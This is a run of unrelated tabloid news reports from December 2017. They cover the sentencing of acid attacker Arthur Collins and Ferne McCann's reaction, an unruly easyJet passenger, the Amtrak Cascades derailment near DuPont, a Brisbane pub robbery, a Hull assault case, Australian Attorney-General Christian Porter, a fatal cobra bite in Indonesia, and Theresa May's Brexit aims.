Ferne McCann turns to 'best friend' and TOWIE co-star James Argent as ex is jailed for horrific acid attack Ferne McCann turned to TOWIE co-star James Argent the day before her ex-boyfriend was jailed for 20 years. McCann's ex Arthur Collins injured 22 people in an acid attack in an east London nightclub. McCann, who has attempted to distance herself from the shocking case, has not been at court for either the trial or yesterday's sentencing hearing. She was seen out with Mr Argent, known as 'Arg', in Brentwood, Essex yesterday, after posting a picture of them together on Instagram . TOWIE star Ferne McCann was seen out in Brentwood yesterday before the sentencing hearring on Tuesday Ferne posted this picture of the pair at her home in Brentwood, Essex, yesterday afternoon She wrote on the picture-sharing app: 'Argy boy has popped round.' In a video she posted online, she added: 'Arg often comes round to see me and Sunday, it's lovely. He just loves the Brentwood.' She then posted a video of Argent watching himself on TV. The pair have previously told of their close friendship and Ferne recently praised Mr Argent in her documentary Ferne McCann: First Time Mum. McCann visited acid attacker Collins in jail while he was awaiting sentencing, but told him that was the last time she would do so. Speaking to the Sunday People last month, Miss McCann said: 'I thought it was important that Arthur see Sunday and see exactly what his actions have led to him missing out on.' 'I strongly feel for the innocent people hurt that night and I in no way condone violence as I have already made clear. 'It was a difficult decision to take Sunday into that environment but I felt I needed to confront him about a number of things, which I have now done.' McCann with friend and former co-star James Argent ahead of the hearing The pair were seen jumping into a BMW before McCann posted a video of them together online She said she told him: 'This is the last time you will ever see us.' Since Collins' conviction, McCann has been appearing on TV in a documentary about giving birth to the criminal's baby. In the show, Ferne McCann: First Time Mum, which aired on ITVBe last week, she described her life since Collin's arrest as 'absolute hell'. But her comments angered the real victims of the attack. Phoebe Georgiou told The Sun: 'It's like rubbing salt on an open wound. She has disregarded our feelings. We are the real victims.' The 23-year-old said it felt like McCann was 'cashing in' and making money from her connection to the sickening crime. Another, unnamed. victim told the paper's website: 'She's making money out of this, it's all just me, me, me. Every time her face pops up, I think of Arthur Collins.' Advertisement

Victims Lauren Trent (left) and Sophie Hall (pictured, left, at a previous hearing and, right after the attack) told of the lasting impact of Collins crime ahead of his sentencing

Lawyers for Collins trawled through victims' social media posts to prove they had returned to 'some normality', including holiday snaps they presented to the judge.

Luke Ponte, prosecuting, said: 'One might think all that they show is young people trying with some fortitude to get on with their lives.'

And the judge said: 'What some people consider a minor injury, others consider the most shameful injury imaginable.'

At his sentencing hearing, the court heard he referred to the attack as a 'stupid little mistake', in a letter to the judge.

The court was told of a string of offences Collins committed before April's acid attack. His past offences included a police caution for threatening the mother of a former girlfriend with acid and calling her a 'f****** foreigner' in April 2013.

The acid attack happened while Collins was subject to a suspended sentence for a vicious assault on a man in a south London nightclub in 2015, the court heard.

Giving her impact statement, another victim, Phoebe Georgiou, said: 'I mourn the old Phoebe. The happy, confident young woman I once was. I grieve for her everyday.

'Physically and mentally I will never be the same. I have had to relive these harrowing moments daily. I was scared, traumatised and helpless.

'I thought my pain and suffering would never end. My entire summer was filled with trips to hospital and therapy treatment. I haven't stepped into a bar, club or even crowded space since that night.

Drug-dealer's spiralling rap sheet of crime Collins has previous convictions for using threatening and offensive words and was cautioned for calling a former partner's mother a 'c***' and a 'f***ing foreigner'. The acid attack happened while he was subject to a suspended sentence for a vicious assault on a man in a south London nightclub in 2015. He punched his victim in the face, leaving him needing 20 stitches, in what was described as 'an unprovoked punch'. Prosecutor Luke Ponte told the court: 'He was also given a caution in respect of racially or religiously aggravated harassment without violence that took place on 1 April 2013. He was cautioned on 11 April 2013. 'He threatened the mother of an ex-girlfriend over the phone to have her raped and throw acid in her face. The victim had taken a call from Mr Collins on her mobile. She heard a male voice saying 'You're a c***, you're a f***ing foreigner'. Advertisement

'I have been given a life sentence because of you. But I am growing stronger every day.'

And Sophie Hall, 22, who also broke down on the stand, said: 'I was in extreme pain, and my skin and eyes were burning.

'I was in terrible pain. I couldn't see properly. I was crying, I was in shock, sat on the floor.

'My clothes had all melted. It was absolute mayhem going on around me. I was screaming in agony. I was frightened I was going to be blind.

'Every time I look in the mirror I can see my scars. And even though they are healed considerably eight months later, I am scarred on my face, arms and shoulders.

'The doctors have told me I will always be scared for the rest of life.'

Following the harrowing victim personal statements, Mr Carter-Stephenson QC, defending, produced sheaves of posts taken from the victims' social media accounts apparently proving their lives had returned to some kind of normality.

The judge was shown images of the girls in swimsuits on holiday and out in nightclubs.

Mr Carter-Stephenson said: 'What I want you to do is simply appreciate that there has to be balance and to a certain extent they have returned to some normality following this.

'These victim personal statements give the impression that this has been all prevailing and has pervaded into every area of their lives and that's simply not correct.'

He said he was not trying to undermine the victims, but added: 'It's important that the court doesn't create an imbalance against Mr Collins.'

He added the fact the victims had healed to a certain extent was 'more good fortune than down to Mr Collins, but having said so it is an important feature.'

A total of 22 people reported injuries to the police, 16 of whom suffered chemical burn injuries and three people were temporarily blinded - one of whom still suffers from blurred vision in one eye.

It was thought the attack was part of a feud between rival gangs which 'spiralled out of control'.

Prosecutor Ciro D'Alessio told a pre-trial hearing that the acid attack 'bears the hallmarks of both drug-related activity and gang related activity'.

Police had found a fully functioning cannabis farm, along with weapons including a taser and two cans of CS gas at Collins' home.

'This was essentially an incident between one set of gang members against another set of gang members,' prosecutor Mr D'Alessio told a previous court hearing.

He said police intelligence suggested Collins had 'been both on the giving end and receiving end of previous gangland incidents leading up to this.'

Collins admitted throwing the bottle of fluid over clubbers but said he did not know it was acid.

He had been dating TOWIE star Ferne McCann for about a year before the attack, but she broke up with him shortly after April 16.

Isobella Fraser suffered burns to her back and arm when she was caught up in the acid attack

Victims confront Collins with emotional statements of how his callous attack changed their lives Victims of Collins' acid attack took to the witness box during his sentencing hearing. Phoebe Georgiou, Lauren Trent and Sophie Hall read out parts of their victim impact statements as relatives and friends of Collins looked on from the public gallery. Miss Georgiou, 23, suffered extensive burns to her arm and chest when Collins threw acid into the packed nightclub floor. Lauren was out celebrating her 22nd birthday. She told how she had to ring her parents and tell them her skin was 'coming off' due to the acid burns She told the court: 'I mourn the old feeling the old feeling. I mourn the happy and confident woman I once was. I grieve for her every day. 'That fateful Easter Sunday the day my life was taken from me. Physically and mentally I will never be the same. I was scared traumatised and helpless. 'My mental recovery has been the biggest challenge. Thoughts that filled my mind were suicidal - 'do I want to carry on living?' 'I am constantly in fear of being attacked. I couldn't cope with the pain. I thought my pain and suffering would never end. My summer was filled with trips to hospital. 'You couldn't even find a thread of human decency to take responsibility for the damage you have caused. I have been given a life sentence because of you.' She also told the court she had to return to hospital because two abscesses had grown underneath her burns. The doctors said this was a result of the caustic substance thrown. Sophie Hall told the court the attack had changed her life Lauren Trent, 22, was celebrating her birthday with friends at the club that evening, including fellow victim and best friend Sophie Hall, also 22. Miss Trent suffered third degree burns to her neck, stomach, hands, chest, legs and foot. She said: 'The 16 April is my birthday. I was celebrating my 22nd birthday that night. Forever my birthday will be an anniversary of the night I was involved in an acid attack, a crime that neither I or anyone should have been a victim of.' Starting to cry she said: 'You changed not only my life, my best friend's life, my family, my friend's and you life. But you don't know what it feels like to have acid thrown at you. The pain, what it feels like to have acid burning, your skin blistering, and you can't do anything to stop it. 'Imagine that phone call is from your daughter on her 22nd birthday. You are stuck two hour away in your home town and there's nothing you can do. She tells you her skin is coming off in her hands from her neck. All she can see is people in the bathroom screaming and their faces unrecognisable. 'Just because my physical appearance is fine doesn't mean I don't have my struggle.' Sophie Hall was splashed by the acid on her face, blinding her temporarily and also scarring the upper part of her arm. She said: 'Shortly before 1am I was sat on a chair surrounded by my friends discussing leaving when my life changed. 'I was in extreme pain. My skin and eyes were burning. Obviously something corrosive was on my skin. I was in terrible pain. I couldn't see properly I was crying. 'I couldn't see how badly I was injured. I was screaming in agony. I was frightened I was blind. It's very difficult for me to give a detailed explanation of what happened that night and the next day because I was in so much pain. She said when she was finally able to see her injuries after her eyes were treated she said: 'My face was clearly a mess. 'I was so badly burnt and I knew this was going to scar me for life. 'Eight months later I'm scarred on my face, arms and shoulders.' Similarly to Miss Georgiou, Miss Hall had to return to hospital to have an abscess underneath the skin removed which she said has left her with 'another scar'. Advertisement
Lee McVicker, 23, caused chaos on an easyJet flight to Manchester from Belfast on Sunday as he travelled to play at a pre-Christmas wedding

An Irish pianist who downed Guinness, smoked on board an easyJet flight and told police he was 'f**king sorry' for swearing has been fined 200 for his behaviour.

Lee McVicker, 23, caused chaos on an easyJet flight to Manchester from Belfast on Sunday as he travelled to play at a pre-Christmas wedding.

Before his journey he had posted an excited message on Facebook from Belfast Airport before take off saying: 'I want to thank you for having me all the way from Northern Ireland. What a pleasure! A big congratulations and blessings for the future!.'

But the former Irish Guard got drunk and became abusive to staff after he was suspected of smoking on board.

McVicker - who is thought to have been drinking Guinness - was said to be 'extremely drunk' and 'consistently swearing.'

He told police: 'I'm f****** sorry, you know what, f*** it, f*** off, I'm an honours student you f***'.

Police identified McVicker, who was slurring his words and unsteady on his feet, from his passport.

He was held overnight in cells before being freed - 24 hours before the wedding was due to take place in York.

Yesterday at Manchester Magistrates Court, McVicker, from Bushmills, County Antrim, admitted being drunk and disorderly and was fined 200.

Miss Risha Seth prosecuting said: 'It was 5.10pm on December 17 2017. Officers on patrol at Manchester Airport were called to attend at Terminal 1 to reports of a male on an EasyJet flight from Belfast.

Yesterday at Manchester Magistrates Court (pictured), McVicker, from Bushmills, County Antrim, admitted being drunk and disorderly and was fined 200

Before his journey he had posted an excited message on Facebook from Belfast Airport before takeoff saying: 'I want to thank you for having me all the way from Northern Ireland'

'A member of cabin crew reported that he was drunk and disorderly on board. Alcohol could be smelt on his breath.

'There were reports that a male had been suspected of smoking on board and being argumentative with the crew.

'Police arrived and the drunken male was found and spoken to. He was identified by way of his passport.

'It became apparent McVicker's was extremely intoxicated, he was slurring his words and unsteady on his feet. He was consistently swearing which he was advised not to do.

'He said "Well I'm f****** sorry, you know what f*** it, f*** off I'm an honours student you f***'.

'Because of his behaviour within the terminal building and disruption he was arrested for being drunk and disorderly.'

McVicker made no comment as left court.

Magistrate Andrew Jeffay, told him: 'This incident was in an airport and on an airplane. You were abusive to the police who, to be fair, have got better things to be doing keeping other people safe rather than dealing with this misbehaviour.

'We have a range of things we can do. We do feel this incident is unacceptable to a lot of people. The fine will be for 200 - and that represents an expensive drink.'

McVicker, who is an accomplished pianist, made no comment as left court after a magistrate fined him 200 and said: 'That represents an expensive drink'

McVicker will also pay 85 prosecution costs and a 30 victim surcharge.

The musician who has played the piano since he was five has held positions of musical director in churches in the Bushmills area.

Last week he told how he had received acclaim fro well wishers both in the UK and abroad after he posted a tune he wrote in memory of his late mother Denise who died aged 42 in 2014.

In an interview with his local newspaper McVicker said: 'Music is an unitary language that everyone can understand.'It takes me to my happy place and I'm glad it has done that for others. I'm so thankful for the support I have received, it has helped me with my grief.'
The mayor of a town near where an Amtrak train derailed in its first-ever run along a faster route in Washington warned that it was just a matter of time before someone was killed by a high-speed train.

The train was travelling at 81 mph a quarter of a mile before it reached curve with a 30 mph speed limit and derailed near Tacoma on Monday, killing three and injuring dozens of others.

Lakewood Mayor Don Anderson warned in early December that the Department of Transportation needed to add more safety measures before launching the high-speed trains.

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Rescue personnel and equipment are seen at the scene where an Amtrak passenger train derailed on a bridge over interstate highway I-5 in DuPont, Washington

The train was travelling at 81 mph a quarter of a mile before it reached curve with a 30 mph speed limit and derailed near Tacoma on Monday, killing three and injuring dozens of others

Lakewood Mayor Don Anderson warned in early December that the Department of Transportation needed to add more safety measures before launching the high-speed trains

The Amtrak train making the first-ever run along a faster new route hurtled off the overpass (pictured) Monday near Tacoma and spilled some of its cars onto the highway below, killing some people, authorities said

A track chart prepared by the Washington State Department of Transportation shows the maximum speed drops from 79 mph to 30 mph for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks

The city of Lakewood is just miles from the accident site, where a train hurtled off an overpass and spilled some of its cars onto the highway below.

'Come back when there is that accident, and try to justify not putting in those safety enhancements,' he said, according to KOMO News. 'Or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens.'

He added: 'Its virtually inevitable that someone is going to get killed that wouldnt be killed otherwise. This is unacceptable.'

The city of Lakewood, where Anderson (pictured) is mayor) is just miles from the accident site, where a train hurtled off an overpass on Monday

The cause of Monday's accident has yet to be determined, and it could take months for investigators from the US National Transportation Safety Board to reach a conclusion.

But website that maps location and speed using data from Amtrak's train tracker app showed the train was going 81.1 mph about a quarter of a mile from the point where it derailed, where the speed limit is significantly lower.

A track chart prepared by the Washington State Department of Transportation shows the maximum speed drops from 79 mph to 30 mph for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks.

Bella Dinh-Zarr, an National Transportation Safety Board member, said at a Monday night news conference that information from the event data recorder in the rear locomotive provided information about the train's speed.

Dinh-Zarr said it's not yet known what caused the train to derail and that 'it's too early to tell' why it was going so fast.

After the crash, the injured called out as rescuers - including people who had been in cars on their morning freeway commute - rushed to help.

The cause of Monday's accident has yet to be determined, and it could take months for investigators from the US National Transportation Safety Board to reach a conclusion

Bella Dinh-Zarr, an National Transportation Safety Board member, said at a Monday night news conference that information from the event data recorder in the rear locomotive provided information about the train's speed

Dinh-Zarr said it's not yet known what caused the train to derail and that 'it's too early to tell' why it was going so fast

In a statement, the FBI said local police were the primary responders and there was no information suggesting 'an elevated risk to Washington residents'

The train, which was carrying nearly 80 passengers and seven crew, derailed in DuPont about halfway between Tacoma and the state capital Olympia on a curve that passes over busy Interstate 5 at about 7.40am (15.40 GMT)

Pictures from the scene showed one Amtrak train car overturned and crushed on the interstate highway and others dangling from the overpass

One of the train passengers was Emma Shafer, who found herself at a 45-degree angle staring at the seats in front of her that had dislodged and swung around.

'It felt oddly silent after the actual crashing,' Shafer said. 'Then there was people screaming because their leg was messed up ... I don't know if I actually heard the sirens, but they were there. A guy was like, "Hey, I'm Robert. We'll get you out of here".'

In a statement, the FBI said local police were the primary responders and there was no information suggesting 'an elevated risk to Washington residents'.

The train, which was carrying nearly 80 passengers and seven crew, derailed in DuPont about halfway between Tacoma and the state capital Olympia on a curve that passes over busy Interstate 5 at about 7.40am (15.40 GMT).

Pictures from the scene showed one Amtrak train car overturned and crushed on the interstate highway and others dangling from the overpass.

Several other carriages of the 14-car train also ended up on the highway, shutting down a key section of the busy artery that connects the greater Seattle metropolitan area to Olympia. All but one car jumped the tracks.

An official briefed on the investigation told The Associated Press that preliminary signs indicate that Train 501 may have struck something before going off the track. The official was not authorized to discuss the investigation publicly and spoke on the condition of anonymity.

Work crews prepare to clear southbound I-5 lanes at the scene of the Amtrak train derailment on December 18

An Amtrak train derailed near DuPont, Washington around 7:40am Monday - causing multiple injuries and fatalities

Thirteen of the 14 cars on the train derailed in the early Monday morning incident

In addition to the three fatalities, about 100 people were injured - including both passengers and motorists

In addition, the new high-tech Positive Train Control (PTC) system that each of the brand Amtrak Cascade engines are equipped with was not switched on.

The PTC computer system which prevents a train from exceeding a speed limit and can detect objects or collisions ahead is fitted to all the new Charger locomotives on the Seattle to Portland line.

However, according to CNN, at a conference call today, Amtrak President and Co-CEO Richard Anderson said Positive Train Control was not activated on the tracks at the time.

The Pierce County Sheriff's Office said thirteen of the train's fourteen cars derailed. One of them crashed onto freeway below, hitting five cars and two semi-trucks. Multiple motorists were injured, but none killed.

The train was making the inaugural run on the new Cascade route as part of a $180.7 million project designed to speed up service by removing passenger trains from a route along Puget Sound that's bogged down by curves, single-track tunnels and freight traffic.

The Amtrak schedule called for the train to leave Seattle around 6am and arrive in Portland about 3 1/2 hours later.

The new route includes a bypass built on an existing inland rail line that runs along Interstate 5 from Tacoma to DuPont, near where Train 501 derailed. Track testing was completed in January and February in advance of Monday's launch, according to the Washington State Department of Transportation.

The train set off from Seattle at 6am and planned to get into Portland, Oregon a little more than three hours later

The derailment happened near the town of DuPont, Washington, on an updated set of train line

Cars from an Amtrak train that derailed above lie spilled onto Interstate 5, Monday, December 18, 2017, in DuPont

The possibility that the wreck was caused by something on the tracks fed into concerns voiced by local officials about the risk of high-speed trains crossing busy streets. The mayor of a town near the derailment had warned about the danger of an accident at a public meeting only two weeks ago.

Daniel Konzelman, 24, was driving parallel to the train on his way to work as an accountant in Olympia. He was about 30 seconds ahead of the train on the freeway when he saw it derail.

Konzelman, who was driving with a friend, said he pulled off the freeway and then ran down along the tracks and over the bridge to get to the scene.

They saw three cars and a semi-truck on the freeway that had been damaged by the derailment. There were train cars with their roofs ripped off, or that were tipped upside down, on both sides of the track or turned sideways on the bridge.

They climbed into train cars and found people hurt  some pinned underneath the train, others who appeared to be dead, he said.

If they were mobile and seemed stable, he helped them climb out. If they appeared seriously hurt, he tried to comfort them by talking to them.

'I just wanted to help people because I would want people to help me,' he said. 'I'm an Eagle Scout. I have a lot of first-aid training and emergency response training.'

The solid route is the updated line that opened Monday. Because it's straighter than the old Puget Sound route, trains could go faster

They stayed for nearly two hours before hitting the road again.

'I prepared for the worst and hoped for the best. I saw a little bit of both,' he said.

In a radio transmission immediately after the accident, the conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed.

FIRST DAY OF $181MILLION HIGH-SPEED RAIL PROJECT A look at the new locomotives for the Cascade line Today was the first day of the new multi-million Amtrak Cascades train service daily along the Portland-Seattle corridor. The more direct route diverged from the shared track which operated with freight trains. The project was known as the Point Defiance Bypass. Avoiding a more scene route along the area's iconic Puget Sound, the new high speed line is designed to take 10 minutes off the travel time and travel at up to 80mph. Amtrak issued a press released last week to say that using this route would allow for two more daily round-trips between Seattle and Portland. It would also help trains avoid traveling around tight corners and tunnels. The Amtrak/Cascade trains are pulled by a state-of-the art locomotive known as a 'Charger'. Weighing 42,000 pounds and able to produce 4,400-horsepower they new, quieter and faster engines have been testing for the last month. They are equipped with positive train control systems which automatically stop trains when troubled is detected. However, these are not due to be activate till 2018. The Washington State Department of Transportation said that at the moment it has no theories as to what caused the derailment. Advertisement

Dispatch audio also indicated that the engineer survived with bleeding from the head and both eyes swollen shut.

'I'm still figuring that out. We've got cars everywhere and down onto the highway,' he tells the dispatcher, who asks if everyone is OK.

Aleksander Kristiansen, a 24-year-old exchange student at the University of Washington from Copenhagen, was going to Portland to visit the city for the day.

'I was just coming out of the bathroom when the accident happened. My car just started shaking really, really badly,' he said.

The back of his train car was wide open because it had separated from the rest of the train, so he and others were able to jump out to safety.

Alex Rozier, a King TV reporter, told NBC News that he got off the train about 10 minutes before the derailment, after taking footage early on in the inaugural trip.

He said there were many people on the train for its first trip, including rail enthusiasts. Passengers were given commemorative lanyards for the journey.

Monday's inaugural trip was the culmination of the $181million project, that also included construction of a new train station at Tacoma.

Family of victims are being asked to report to the DuPont City Hall to be reunited with their loved ones. They are being told not to come to the scene.

President Trump used the deadly derailment to call for more infrastructure spending in a tweet sent about three hours after the accident. He said the wreck, on a newly completed bypass, shows 'more than ever why our soon to be submitted infrastructure plan must be approved quickly.'

Ten minutes later, he expressed his sympathies for those who were killed.

'My thoughts and prayers are with everyone involved in the train accident in DuPont, Washington. Thank you to all of our wonderful First Responders who are on the scene. We are currently monitoring here at the White house, he added.

The fatal derailment on Monday could intensify scrutiny of the national passenger railroad company's safety record, which was already under harsh criticism following a series of fatal incidents.

Just last month, the chairman of the NTSB issued a scathing critique of Amtrak's culture, saying a future breakdown was likely, and the board made nine safety recommendations.

'Amtrak's safety culture is failing and is primed to fail again, until and unless Amtrak changes the way it practices safety management,' NTSB Chairman Robert Sumwalt said in a statement on November 14.

Sumwalt's statement was made when the NTSB issued its findings on a fatal Amtrak accident in April 2016 in Pennsylvania, which it said was caused by 'deficient safety management across many levels of Amtrak and the resultant lack of a clear, consistent and accepted vision for safety.'

There was no indication that any of the same issues played a role in the Washington crash.
Two masked thieves wearing pink gloves have been caught on camera terrorising female staff at a Brisbane pub with a shotgun.

The men stormed into the Salisbury Hotel south of Brisbane about 2am on December 4, according to Queensland Police.

Both were armed and demanded money from staff before taking off with cash, a police spokeswoman told Daily Mail Australia.

Two masked thieves have been caught on camera terrorising female staff at a hotel with a shotgun

CCTV footage of the dramatic invasion has been released by Queensland Police, showing the men threatening staff members with their weapons.

One of the men, wearing a mask with his hood up and armed with a gun, can be seen advancing towards a woman holding a spray bottle in the hotel's gaming room.

The woman quickly moves away from the man before his accomplice enters carrying a shotgun, pointed at another staff member wearing a high-visibility vest.

The man holding the shotgun backs away while keeping the barrel of the gun pointed at the staff member.

One of the men, wearing a mask with his hood up and armed with a gun, can be seen advancing towards a woman holding a spray bottle in the hotel's gaming room

He then attempts to cock the gun - dropping a cartridge on the floor in the process - before both men escape from the room, carrying what appears to be cash.

The Queensland Police spokeswoman said since the video was released on Tuesday they are still yet to find the two men.

Police are continuing to investigate the incident.

The Queensland Police spokeswoman said since the video was released on Tuesday they are still yet to find the two men

Police believe the two men were also involved in an attempted armed robbery just days earlier at an east Brisbane hotel.

A heroic patron named Andre used a barstool to thwarted a would-be thief wielding a machete at the Lord Stanley Hotel on November 28.

The intruders used what appears to be the same gun and the same pink gloves in both break-ins.

CCTV footage captured the dramatic scene as the thieves entered the bar before one of them was hit in the head with the stool.

The man then stumbled around after the devastating blow before both would-be thieves staggered out of the premises.

Andre told 9 News he didn't see the other man was brandishing a shotgun until he dealt to the offender holding the machete.

'I was in the back gaming room and I heard voices yell 'stay down' and 'where's the money,'' Andre said.

The pair managed to take off with a small amount of money, and no staff or patrons were injured during the incident.

The man then stumbled around after the devastating blow before both would-be thieves staggered out of the premises
David Knight, pictured, shouted 'they give nonces less' after he was jailed for eight years at Hull Crown Court for assaulting two people

A bare-chested thug has been jailed after he knocked a man out before punching a woman in the face during an unprovoked street attack.

David Knight, 35, shouted while been led away from Hull Crown Court that 'they give nonces less' after he received an eight-year jail term for assaulting two people.

Knight, who was serving a suspended jail sentence at the time of the attack was convicted of causing grievous bodily harm with intent and assault occasioning actual bodily harm.

The court heard that on June 14, 2016, the two victims had been talking to a neighbour in Broadstone Close, Bransholme in Hull, when they saw Knight who was shouting in the street.

The neighbour told the victims that Knight had been disturbing the peace for some time.

Prosecutor Austin Newman said the male victim admitted being intoxicated when he crossed the street to remonstrate with Knight. The man's female partner followed him over the road.

Knight initially went away, but returned, stripped to the waist and was 'shouting the odds and spoiling for a fight'.

After knocking the man out, Knight punched the man's partner in the face also rendering her unconscious.

He also kicked stamped on the man's head.

The man suffered bilateral fractures of the jaw and needed surgery and metal supports inserted, while his partner suffered 'nasty' soft tissue damage to her head and face, and was so traumatised she needs counselling.

Hull Crown Court heard Knight was serving a suspended jail sentence at the time of the attack

His convictions for the assaults, which took place on June 14 last year, put him in breach of a suspended sentence for arson, and Knight was also sentenced for a bail offence after he derailed the trial by failing to attend court.

Two police forces were involved in executing the resulting warrant, and he was arrested at a hostel in Manchester at 5.30am.

Knight claimed he had been acting in self-defence, however the jury at Hull Crown Court found him guilty of causing grievous bodily harm with intent and assault occasioning actual bodily harm.

Knight, who had a long history of violent offending, mumbled and appeared agitated throughout his sentencing hearing, before judge David Tremberg, including claiming a magistrate who jailed him previously had 'child porn on his computer'.

Judge Tremberg told the muscular Knight the man was 'clearly no physical match for you and you realised that, punched him to the ground and rendered him insensible'.

The judge told him: 'I am satisfied this was an entirely gratuitous act because she was no physical threat.'

Knight stamped on the man's face when he was 'completely helpless', then banged, kicked or stamped on his partner's head.

The man suffered depression and anxiety after the attack, while his partner, a carer, lost work because she had dizzy spells and felt unable to drive.

At the time, Knight, of Hart Mill Close, Mossley, Ashton-under-Lyne, was subject to a nine-month prison sentence, suspended for two years after being convicted of arson in a 'domestic incident'.

He set fire to a refuse bin, which caused damage to a house and a vehicle.
Australia's incoming Attorney-General Christian Porter has slammed the Human Rights Commission for having 'deficiencies' and has vowed to overhaul it.

Mr Porter, who is replacing Senator George Brandis as the nation's chief law officer, said the government body tasked with cracking down on discrimination had failed students accused of racism.

'There have been deficiencies in the processes and operation of the Australian Human Rights Commission that have been revealed in recent times,' the Perth-based MP told Sydney radio 2GB on Tuesday.

Incoming Attorney-General Christian Porter says the Australian Human Rights Commission must be reformed

Mr Porter was scathing of former Human Rights Commissioner Gillian Triggs' handling of a racial discrimination case involving three Queensland University of Technology students

'I don't think that is a reason for scrapping the organisation but it does indicate there need to be a range of improvements.'

Mr Porter, who was previously a Liberal attorney-general in Western Australia, has slammed the Human Rights Commission's poor handling of a 2013 case involving three Queensland University of Technology (QUT) students in Brisbane.

Cindy Prior, an Aboriginal administration officer at QUT, had filed a $250,000 lawsuit against university students Alex Wood, Calum Thwaites and Jackson Powell after a Facebook post was published about an indigenous-only computer lab.

However under the leadership of former Humans Rights Commissioner Gillian Triggs, that case wasn't resolved until late 2016 with a Federal Court judge John Dowsett ruling in March Ms Prior could not appeal.

Mr Porter was a little more charitable when asked about Race Discrimination Commissioner Tim Soutphommasane's $330,000 salary

Prime Minister Malcolm Turnbull (left) has replaced George Brandis (right) as Attorney-General

Mr Porter was a little more charitable when 2GB fill-in drive presenter Michael McLaren criticised Race Discrimination Commissioner Tim Soutphommasane's $330,000 salary 'to tell us we're racist'.

'Well, I'm not sure, Michael, I entirely agree with that assessment,' the incoming attorney-general said.

Under section 18C of the Racial Discrimination Act, it is unlawful to offend, humiliate or insult a group of people on racial grounds.

Mr Porter said the Turnbull Government had made 'procedural' changes to raise the threshold for racial discrimination complaints to avoid a repeat of the QUT case.

Senator Brandis is leaving the Senate to become Australia's High Commissioner to the United Kingdom, taking over from former foreign minister Alexander Downer who's held the post since 2014.

His replacement, a Cleo Bachelor of the Year finalist in 1999 when he was a 28-year-old lawyer, gained a major promotion during a major reshuffled announced by Prime Minister Malcolm Turnbull on Tuesday.
An Indonesian teenager who was bitten by his pet cobra posted images of his wound on social media asking for help - only to die less than 12 hours later.

The boy named only as Aril, was bitten on the arm by the pet snake while trying to take a picture of it at his home in Bundung Regency in Indonesia's West Java province.

The 14-year-old posted the first of two images to his WhatsApp account at 9.50am local time, showing the snake spreading its hood moments before striking.

An Indonesian teenager who was bitten by his pet cobra posted images to social media asking for help - only to die less than 12 hours later. His pictures showed the snake rearing its head (left) and blood on his arm after being bitten (right)

The photo, on December 11, was captioned 'Why not smile a little' and has been reported as Aril's attempt to photograph his cobra after having given it a bath.

The second picture at 9.54am showed blood on the boy's right arm, and he had also attempted to tie a shoelace around his limb to stop the venom from spreading to the rest of his body.

'Between life and death' was the caption that came with the picture.

'Aril's status wasn't to boast [about his injury] but to ask his friends for help,' the boy's mother, Neuis Marpuah, was quoted as saying, adding that her son had been at home alone at the time of the incident.

Reports said the boy later also wrote: 'If anyone considers themselves my friend, please take me to the hospital.'

A friend arrived to take Aril to a hospital an hour later, but he was declared dead by medics at 10pm the same day, with emergency treatment failing to revive him. He is pictured receiving treatment in hospital

Someone arrived to take Aril to a hospital an hour later, but he was declared dead by medics at 10pm the same day, with emergency treatment failing to revive him.

According to local reports, Aril owned more than a dozen snakes.

He was also an active member of a non-government organisation that arranged street performances involving the dangerous reptiles in order to raise money for charities helping victims of natural disasters.

Aril's mother said the boy's father was working abroad at the time of the accident.
Britain will be able to set its own regulations and strike trade deals after Brexit, Theresa May vowed today.

The Prime Minister made clear that having scope to diverge from Brussels rules will be a red line in the impending negotiations.

She also said she wanted the package to be 'bespoke' and 'significantly more ambitious' than that between the EU and Canada - even though Michel Barnier has suggested that is the best the UK can hope for and there will be no special deal for the City of London.

The combative stance was laid out by Mrs May as she led a Cabinet discussion on what the 'end state' of relations with the EU should be.

The government is increasingly confident of securing a broad trade agreement with the bloc, insisting the key UK services sector must be allowed to keep operating across the continent.

Theresa May (pictured in the Commons yesterday) is preparing to turn the tables on Brussels by warning that it won't be allowed to 'cherry pick' parts of the UK economy to include in a Brexit trade deal

Foreign Secretary Boris Johnson and Home Secretary Amber Rudd joined their colleagues in Downing Street today for a Cabinet meeting on the Brexit talks

Brexit Secretary David Davis was attending the Cabinet meeting in Downing Street today

Ministers are expected to deploy one of Brussels' favourite phrases, by warning that the EU cannot hope to 'cherry pick' parts of the UK economy to trade with.

However, the scale of the challenge has been laid bare after the EU's chief negotiator Michel Barnier again warned there will be no special Brexit deal for the City of London.

Downing Street said 25 ministers contributed to a discussion in Cabinet today that lasted an hour and 45 minutes.

Mrs May's spokesman said there had been agreement on the UK's aims for the negotiations.

'The PM said it was clear what the cabinet's objective is: a deal which secures the best possible trading terms with the EU, enables the UK to set rules that are right for our situation and facilitates ambitious third-country trade deals,' the spokesman said.

In a statement to the Commons yesterday, Mrs May insisted Britain will not be bound by EU rules on fishing and farming during a Brexit transition period.

She also insisted that Britain wants a 'bespoke' trade deal from the EU, and said she wanted the same level of access as the current arrangements.

The bullish comments came as she defended her handling of the Brexit talks after an EU summit last week formally signed off on moving on to the next phase of negotiations.

THE POTENTIAL MODELS FOR BREXIT Norway Norway is a member of the European Economic Area with near-full access to the single market. But it is obliged to contribute to Brussels coffers, and accepts most EU rules, including free movement, without getting a say in setting them. Canada The Ceta free trade deal with the EU has yet to come into force, gets rid of most tariffs on goods. However, it excludes most services and some food items, and there is an obligation to prove where goods are made. Canada plus plus plus David Davis suggested this model in an interview earlier this month. It would mean taking the Ceta agreement and bolting on elements like services. However, the EU has ruled this out saying it could mean the 'end' of the single market. WTO Leaving on World Trade Organisation (WTO) terms is the favoured option of many hardline Brexiteers. The UK would rely on basic tariff rules applicable around the globe, potentially meaning charges on exports and imports. In reality, a WTO model would require a series of smaller deals to cover areas like aviation - otherwise planes might not be able to fly to EU countries after the Brexit date. Advertisement

A 'war Cabinet' of big beasts like Boris Johnson and Michael Gove met yesterday to start taking the key decisions.

Ministers appear to be lining up behind a 'slow Brexit' option - where the UK starts by keeping the same regulations as Brussels and gradually moves away.

The approach would ease the impact on the economy of cutting ties with the EU, and could satisfy both 'hard' Brexiteers like Mr Johnson and Mr Gove as well as supporters of keeping closer links such asPhilip Hammond and Amber Rudd.

Meanwhile, some ministers are said to be urging Mrs May to stay on in Downing Street until 2021 to ensure any Brexit deal does not fall apart at the last moment.

